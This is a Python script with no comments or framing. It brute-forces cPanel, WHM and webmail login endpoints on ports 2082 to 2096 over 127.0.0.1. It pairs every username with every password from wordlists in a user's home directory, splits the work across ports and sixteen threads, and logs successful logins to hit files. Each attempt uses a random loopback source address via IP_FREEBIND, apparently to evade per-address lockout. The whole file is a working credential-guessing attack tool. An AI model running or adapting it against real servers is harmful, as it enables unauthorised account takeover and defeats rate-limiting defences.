import socket, ssl, urllib.parse, sys, threading, time, random, os

dst = "127.0.0.1"
PORTS = [(2082, False), (2083, True), (2086, False), (2087, True), (2095, False), (2096, True)]

def login(src, port, tls, user, pw, timeout=8):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_IP, 15, 1)  # IP_FREEBIND
        s.settimeout(timeout)
        s.bind((src, 0))
        s.connect((dst, port))
        if tls:
            ctx = ssl._create_unverified_context()
            s = ctx.wrap_socket(s, server_hostname="127.0.0.1")
        body = urllib.parse.urlencode({"user": user, "pass": pw})
        req = ("POST /login/?login_only=1 HTTP/1.0\r\nHost: 127.0.0.1:%d\r\n"
               "Content-Type: application/x-www-form-urlencoded\r\n"
               "Content-Length: %d\r\nConnection: close\r\n\r\n%s") % (port, len(body), body)
        s.sendall(req.encode())
        d = b""
        while True:
            c = s.recv(65536)
            if not c:
                break
            d += c
        s.close()
        return d
    except Exception as e:
        return b"EXC:" + str(e).encode()

users = [u.strip() for u in open("/home/filmbigmediaexpe/pw/i593users.txt") if u.strip()]
pwds = [p.rstrip("\n") for p in open("/home/filmbigmediaexpe/pw/i593pwds.txt") if p.strip()]

# work partition by port
port_arg = int(sys.argv[1])
tls = port_arg in (2083, 2087, 2096)
# each port gets a slice of the full (user,pw) grid
grid = [(u, p) for u in users for p in pwds]
# partition grid across ports: interleave by index
allports = [p for p, _ in PORTS]
idx = allports.index(port_arg)
mine = grid[idx::len(allports)]

lock = threading.Lock()
done = [0]
hits = []
outf = open("/home/filmbigmediaexpe/pw/i593.hit.%d" % port_arg, "w")
prog = open("/home/filmbigmediaexpe/pw/i593.prog.%d" % port_arg, "w")

def worker():
    while True:
        with lock:
            if not mine:
                break
            u, p = mine.pop()
            done[0] += 1
            n = done[0]
        src = "127.%d.%d.%d" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
        d = login(src, port_arg, tls, u, p)
        txt = d.decode("utf-8", "replace")
        if "invalid_login" not in txt and "no_username" not in txt and not txt.startswith("EXC:"):
            with lock:
                hits.append((u, p, txt[:200]))
                outf.write("%s:%s :: %s\n" % (u, p, txt[:200].replace("\n", " ")))
                outf.flush()
        if n % 200 == 0:
            prog.seek(0); prog.write("%d/%d\n" % (n, len(grid))); prog.truncate(); prog.flush()

ths = [threading.Thread(target=worker) for _ in range(16)]
for t in ths:
    t.start()
for t in ths:
    t.join()
prog.seek(0); prog.write("DONE %d hits=%d\n" % (done[0], len(hits))); prog.truncate(); prog.flush()
outf.close(); prog.close()
print("PORT %d DONE %d hits=%d" % (port_arg, done[0], len(hits)))
